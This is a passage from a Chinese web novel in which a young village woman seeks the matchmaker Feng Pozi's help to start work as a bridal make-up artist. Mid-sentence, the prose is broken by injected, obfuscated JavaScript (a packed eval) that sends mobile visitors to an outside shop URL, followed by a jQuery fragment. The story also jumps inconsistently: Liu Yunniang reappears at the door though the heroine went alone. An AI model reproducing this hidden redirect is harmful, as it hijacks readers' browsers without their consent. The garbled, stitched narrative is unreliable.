刘芸娘正在院子里收衣裳,看见许青枝进来,把手里的衣裳搭在绳子上,拍了拍手上的灰。“青枝来了?进来坐。”
许青枝跟着她进了屋,在灶台边的矮凳上坐下来。刘芸娘给她倒了一碗水,自己也搬了个凳子坐在旁边,手里闲不住,拿起一件没补完的衣裳接着补,针线在补丁上穿梭,细密又匀整。
“婶子,”许青枝捧着碗,斟酌了一下措辞,“我想跟您打听个事。咱们这边,请妆娘是什么行情?什么人家才会请?”
刘芸娘手里的针顿了一下,抬起头来,一脸疑惑。“妆娘?”
“就是姑娘出嫁的时候,请人来梳头,上妆,画眉的那些人。”许青枝解释道,“我在镇上见过一回,有些讲究的人家嫁女儿,是专门请人来收拾的。”
刘芸娘想了想,摇了摇头。“我一个乡下妇人,哪有机会接触那些。我出嫁那会儿,就自己梳了个头,抹了把脸就去了。连盒口脂都没有。”她说着笑了笑,带着点自嘲的意味,“不过你这么说,我倒是想起来了。前些年村里老赵家嫁闺女,听说请了镇上一个妆娘来,花了……我记不太清了,好像是几十文?还是上百文?反正不便宜。”
许青枝眼睛亮了一下。“那您知道她是去哪儿请的吗?”
“是有人介绍的。”刘芸娘放下针线,认真想了想,“好像是村里的冯婆子牵的线。冯婆子你是知道的,许家村的媒婆,十里八乡谁家娶妻谁家嫁女她都晓得。谁家要办喜事了,托她找妆娘,她就帮着牵个线。你要是想做这个营生,不如去问问她。”
许青枝想了想,觉得这个主意比她自己瞎琢磨靠谱得多。冯婆子是村里消息最灵通的人,谁家要娶媳妇,谁家要嫁闺女,谁家请了多少桌席面,花了多少银子,她门儿清。找她打听,比问谁都强。
“婶子,”许青枝犹豫了一下,“那您觉得,我带点什么去合适?”
刘芸娘想都没想:“带几个鸡蛋,再带一小包干枣,冯婆子好甜口。第一次上门,不用多贵重,是个心意就行。她要是愿意帮你牵线,以后你挣了钱再谢她。”
许青枝点了点头,把刘芸娘的话一一记在心里。她从凳子上站起来,朝刘芸娘道了谢。“多谢婶子,我这就回去准备。”
刘芸娘叫住她:“你等等。”她起身去了里屋,不一会儿拿出来一个旧布袋,袋口系着麻绳,里头鼓鼓囊囊的。“这里头是几颗干枣,我去年晒的,本来留着自己吃的。你拿去吧,不用再买了。”
许青枝愣了一下,接过来,心里头暖了一下。“婶子,这怎么好意思……”
“有什么不好意思的,几颗枣子,又不是什么金贵东西。”刘芸娘摆摆手,“你好好干,干出点名堂来,我也跟着脸上有光。”
许青枝把布袋攥在手里,郑重地道了谢。
出了刘芸娘家,天色还早,日头刚过正午不久。许青枝回家数了数鸡蛋,上次买的还剩几个,挑了四个大的,用干草裹好了,连同那袋干枣一起装在一个篮子里,上头搭了块干净的布。
她在门槛上坐了一会儿,把待会儿要怎么跟冯婆子说话在心里过了两遍。
冯婆子住在村子西头,靠近河边的位置,院子不大,但门口总是干干净净的。许青枝提着篮子走到她家门口的时候,还没进门就听见里头有人说话,像是在跟谁拉扯什么。
她站在门口等了一会儿,里头的声音渐渐小了,门帘一掀,出来一个四十来岁的妇人,看了许青枝一眼,又低头看了看她手里的篮子,点了点头走了。
许青枝这才抬脚进去。
刘芸娘上前敲了敲门框,里头很快就应了一声。
“谁啊?”
“冯婶子,是我,鲁家的。”
门帘一掀,冯婆子探出半边身子来。四十出头的年纪,头发梳得一丝不苟,在脑后挽了个圆髻,插着一根乌木簪子。脸上擦了粉,白是白了,但有些浮,不太匀,嘴唇上抿了一点口脂,玫红色的,衬着她那张圆脸倒有几分喜气。她一眼看见刘芸娘,又看见后头提着篮子的许青枝,目光在篮子上停了一瞬,脸上就绽开了笑。
“哟,芸娘啊,快进来快进来。”她把门帘撩得高高的,侧身让路,“这大下午的,怎么想到来我这儿了?”
许
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813634|210966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
青枝跟在刘芸娘后头进了堂屋。屋里不大,但收拾得干净,堂屋正中的八仙桌上铺着一块蓝印花布,桌上摆着一个粗瓷茶壶和几个碗。靠墙的条案上供着一尊送子观音,前头点着三炷香,烟气细细的,在午后的光里袅袅地升上去。
冯婆子招呼她们坐下,自己也在对面坐了。她的目光又扫了一眼许青枝放在脚边的篮子,嘴角的笑意又深了几分,嘴上却说着客气话:“来就来嘛,还带什么东西。”
刘芸娘替许青枝开了口:“冯婶子,这是许家的大姑娘青枝,您见过的。”
“见过的见过的,”冯婆子连连点头,“青枝嘛,许守田的闺女。小时候还抱过你呢,怕是记不得了。”她说着上下打量了许青枝几眼,目光从她的脸扫到她的手,又从手扫回脸上,嘴上说着寒暄话,眼睛里却已经在盘算着什么了。
这时里屋的门帘响了一声,一个十七八岁的姑娘端着一个托盘走了出来。她穿着半新的藕荷色细布袄子,头上插着一支银簪,簪头是梅花形的,打得不算精致,但胜在亮眼。脸上薄薄地施了一层粉,眉毛描过,又细又弯,唇上也点了口脂,粉红色的,比冯婆子那玫红色的要年轻许多。
许青枝看了一眼她脸上的妆,心里就有了数,粉有些厚,没有晕开,眉眼画得中规中矩,口脂涂得略出了界。底子不错,长相周正,就是手艺差了点,应该是自己化的。
林桂香把托盘放在桌上,拿了两只粗瓷碗,提起茶壶倒了水,一碗放在刘芸娘面前,一碗放在许青枝面前。水是清的,没有茶叶,连片叶子都看不见。
许青枝的目光不经意地扫过桌面,八仙桌的另一头还搁着一只半满的茶碗,是刚才那个四十来岁的妇人用过的,还没来得及收。碗底沉着几片泡开的茶叶,舒展开的,翠绿色的,在浅褐色的茶汤里浮着。
她收回目光,看了一眼自己面前那碗白水,又看了看林桂香头上那支银簪和唇上的口脂,心里有了数。冯婆子家是有茶叶的,是看人下菜碟的。
林桂香倒完水也没走,在旁边坐了下来,拿了个鞋底在那儿纳,针线穿梭,时不时抬眼看一下许青枝。